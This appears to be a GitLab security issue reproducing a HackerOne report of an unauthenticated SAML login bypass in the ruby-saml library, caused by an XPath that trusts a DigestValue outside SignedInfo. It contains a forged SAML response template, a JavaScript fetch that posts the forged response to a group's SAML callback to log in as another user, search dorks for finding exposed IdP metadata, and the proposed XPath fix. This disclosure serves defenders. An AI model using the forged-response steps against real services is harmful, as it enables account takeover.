Skip to content

Unauthenticated SAML Login Bypass via Incorrect XPath

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2682551 by ahacker1 on 2024-08-25, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary:

An attacker can log into any shop/account that uses SAML via a SAML bypass . Specifically, the authentication library incorrectly processes digestValue elements and reference elements, even if they are outside the signedInfo. signedInfo is the XML element that has been verified by the SAML IdP certificate through signatureValue, any XML outside it should not be trusted. (This is distinct from report #2647429, in that report the SAML authentication library incorrectly computed the expected digestValue from an untrusted XML Reference)

This would work unauthenticated with some popular IdPs (making attack complexity low), since they expose signed metadata:

Other IdPs may expose signed metadata either via endpoint, or via google dork/github dork, see:
https://github.com/search?q=%22EntityDescriptor%22+AND+%22SignedInfo%22+AND+NOT+%22xsi%3Atype%22++language%3AXML&type=code

https://www.google.com/search?q=%22signaturevalue%22+%22idpssodescriptor%22+%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Ametadata%22+-xsi-type+filetype%3Axml

For other IdPs, it would require the attacker to have a user in the gitlab instance owner's. E.g. A (compromised) Okta account inside the company. Basically Priveleges:Low instead of none. Then, they can use vulnerability to log in as admin user for the gitlab instance/group.

Vulnerability Details

Consider the vulnerable SAML Response (simplified):

<samlp:Response>  
	<saml:Issuer/>  
	<samlp:Status>  
		<samlp:StatusCode/>  
		<samlp:StatusDetail>  
		<ds:DigestValue>  
ATTACKERS_CUSTOM_VALUE  
</ds:DigestValue>  
		</samlp:StatusDetail>  
	</samlp:Status>  
	<saml:Assertion ID="IDvv6UZYyjeIAdO36gYYqlCuUesM4Ray">  
		<saml:Issuer/>  
		<dsig:Signature>  
			<ds:SignedInfo  
				xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
				<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
				<ds:Reference URI="#IDvv6UZYyjeIAdO36gYYqlCuUesM4Ray">  
					<ds:Transforms>  
						<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>  
						<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
					</ds:Transforms>  
					<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
					<ds:DigestValue>6gzFqTKWIC+cFGA5FUiAgPeyEsgko7wvQMiA2RINz4w=</ds:DigestValue>  
				</ds:Reference>  
			</ds:SignedInfo>  
<dsig:SignatureValue>Mg73xzRj24ElOfof6KD3SsyY1N/ErYwvG1A+dj5rIjIwAYnWjpBAdE8OxfDxCfMLqY+HUycM+PyaI6z48eoa+amsCCQbMKQj3V+dWODOeE8dtDITWpR+z635ViFV/f6HacrArOb1KvxTUUpHtb95piyELIRD6fXWxuwARztsn79Zc8I7incDh50Kmfyw6a+HrpgJtJH51EI2TOBfKzb5ULqRu+FlniX6+ONmlIC1lzP4xmHSQDzRjM1KFmmjaoqqoFgZAZU6SUiZp7ic76Kcl0FsrKL2GDXZnWvvqtyP+hzFA0nnUJ9bQfynuKu3xjmHmbb1wh3nT5K+0gTZ8dbLEQ==</dsig:SignatureValue>  
		</dsig:Signature>  
		<saml:Subject>  
			<saml:NameID>ANY_USER_HERE</saml:NameID>  
		</saml:Subject>  
	</saml:Assertion>  
</samlp:Response>  

Your SAML authentication library uses the first ds:DigestValue present within the entire SAML response, the ATTACKERS_CUSTOM_VALUE in the vulnerable response. This ATTACKERS_CUSTOM_VALUE is not signed by the Identity provider certificate. Instead, your library MUST use the DigestValueand Reference (s) in the signedInfo.

The issue stems from using the xpath "//ds:DigestValue" on the ref element to get the DigestValue,
see:

 encoded_digest_value  = REXML::XPath.first(  
        ref,  
        "//ds:DigestValue",  
        { "ds" => DSIG }  
      )  

from https://github.com/SAML-Toolkits/ruby-saml/blob/6e33ed341081c4692990e9540342d1460b6d7d32/lib/xml_security.rb#L339 (a SAML library which may or may not be used by Shopify).

The "//" part of "//ds:DigestValue" selects nodes from anywhere in the document, even if it is not within the ref element, as seen in the above code. An attacker can thus specify a ds:DigestValue element completely outside the SignedInfo, and the library will trust it.

Thus an attacker can change the contents of the saml assertion, and update the ds:DigestValue value to the digest of the modified assertion.

Similarly,
https://github.com/SAML-Toolkits/ruby-saml/blob/6e33ed341081c4692990e9540342d1460b6d7d32/lib/xml_security.rb#L317

      ref = REXML::XPath.first(sig_element, "//ds:Reference", {"ds"=>DSIG})  

an attacker can specify arbitrary reference to validate against

Also, L321, and L331, L365, L409, allow an attacker to specify any DigestMethod, Transform, CanonicalizationMethod, InclusiveNamespaces to validate Digest against. These examples here cannot cause a security impact, but should be fixed regardless.

Fix

General method to fix would be (code may vary based on actual library used)

a) Get the signed_info_element within the sig_element using a correct XPath, e.g.

signed_info_element = REXML::XPath.first(  
        sig_element,  
        "./ds:SignedInfo",  
        { "ds" => DSIG }  
      )  

b) Correctly obtain digestValue, Reference, and others using the correct xpath
e.g.

ref= REXML::XPath.first(  
        signed_info_element ,  
        "./ds:Reference",  
        { "ds" => DSIG }  
      )  

Steps To Reproduce:

  1. You can play attacker on my gitlab group:
    Run ruby code. If you don't have ruby installed, you can use: https://www.jdoodle.com/execute-ruby-online

Note the metadata in the code is publicly available:

https://login.microsoftonline.com/2a3fb44f-df5e-4b79-8355-98c683931d5d/federationmetadata/2007-06/federationmetadata.xml?appid=8945d7f4-8835-437b-81be-941d9be835c2

bypass.rb

Do not run in IDEs, instead run in IRB or cmd line. IDEs (rubymine) may add new spaces to the response output, breaking it (or alternatively use File.write).
2. This should output an SAML Response document.

Copy and run js in
https://gitlab.com/ulgroup7
Replace: SAML_RESPONSE_FROM_STEP_1 with unencoded SAML Response


RELAY_STATE = "" // RELAY_STATE not needed here  
IN_RESPONSE_TO = "" // ID of Authn Request, not needed here;


// change to reflect your instance  
AUDIENCE_VALUE = "https://gitlab.com/groups/ulgroup7"; // Service provider identifier  
RECIPIENT_VALUE = "https://gitlab.com/groups/ulgroup7/-/saml/callback" // aka assertion consumer service URL or reply URL

template = `SAML_RESPONSE_FROM_STEP_1`  
fetch(RECIPIENT_VALUE, {  
    "headers": {  
      "accept": "*/*",  
        "content-type": "application/x-www-form-urlencoded"  
    },  
    "body": `RelayState=${encodeURIComponent(RELAY_STATE)}&SAMLResponse=${encodeURIComponent(btoa(template))}`,  
    "method": "POST",  
    "mode": "cors",  
    "credentials": "include"  
  });  
  1. Refresh and you should be logged into my victim user.

Configuring your own gitlab group to attack

(Note that here, we use my IdP to verify.
Alternatively you can set up your IdP with entra ID. It will take some time to learn and configure this.
If you are setting up your own Idp, you must change the
SAML_TEXT_RESPONSE with the contents of federation metadata URL, obtainable in Single Sign On --> App Federation Metadata Url section in the app configuration
)

  1. Sign up for ultimate trial:
    https://about.gitlab.com/free-trial/

  2. In your new group:
    visit: https://gitlab.com/groups/YOUR_GROUP/-/saml

  3. Change Enable SAML authentication for this group

Identity provider single sign-on URL: https://login.microsoftonline.com/2a3fb44f-df5e-4b79-8355-98c683931d5d/saml2

Certificate fingerprint: BE9A10E7737B8F21A5D6EF10ACDCCC9524DF2BF4
Default membership role: Owner

  1. Edit the bypass.rb script: bypass.rb

Change:
a)
NAME_ID_TO_IMPERSONATE and EMAIL_ADDRESS to an email address that the attacker has control, e.g. your wearehackerone.com email (and does not conflict with a current gitlab account)

b)
replace with YOUR_GROUP:

AUDIENCE_VALUE = "https://gitlab.com/groups/YOUR_GROUP"; # Service provider identifier  
RECIPIENT_VALUE = "https://gitlab.com/groups/YOUR_GROUP/-/saml/callback" # aka assertion consumer service URL or reply URL  
  1. Run script from step 1, then for run the script in step 2, change the
AUDIENCE_VALUE = "https://gitlab.com/groups/YOUR_GROUP";  // Service provider identifier  
RECIPIENT_VALUE = "https://gitlab.com/groups/YOUR_GROUP/-/saml/callback" // aka assertion consumer service URL or reply URL  
  1. Visit
    https://gitlab.com/users/sign_in

You will be asked to confirm your email address, confirming the vulnerability,

Also see an email from the email address Access to the YOUR_GROUP group was granted

Impact

Unauthenticated login bypass for SAML for some popular IdPs e.g. Azure AD, ADFS.

Authenticated login bypass Privelges Required: Low, for all other IdPs OR requiring leak of SAML metadata document (Attack complexity:High)

Examples

(If the bug is project related, please create an example project and export it using the project export feature)

(If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version)

(If the bug can be reproduced on GitLab.com without violating the Rules of Engagement as outlined in the program policy, please provide the full path to the project.)

What is the current bug behavior?

Improper XPath used that selects DigestValue and Reference not inside SignedInfo.

What is the expected correct behavior?

Use proper xpath to select nodes that are within the SignedInfo:
xpath-fix.patch

Output of checks

This bug happens on GitLab.com (GitLab enterprise edition/community edition should also be vulnerable since it also uses SAML authentication)

(For installations from source run and paste the output of:
sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production)

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: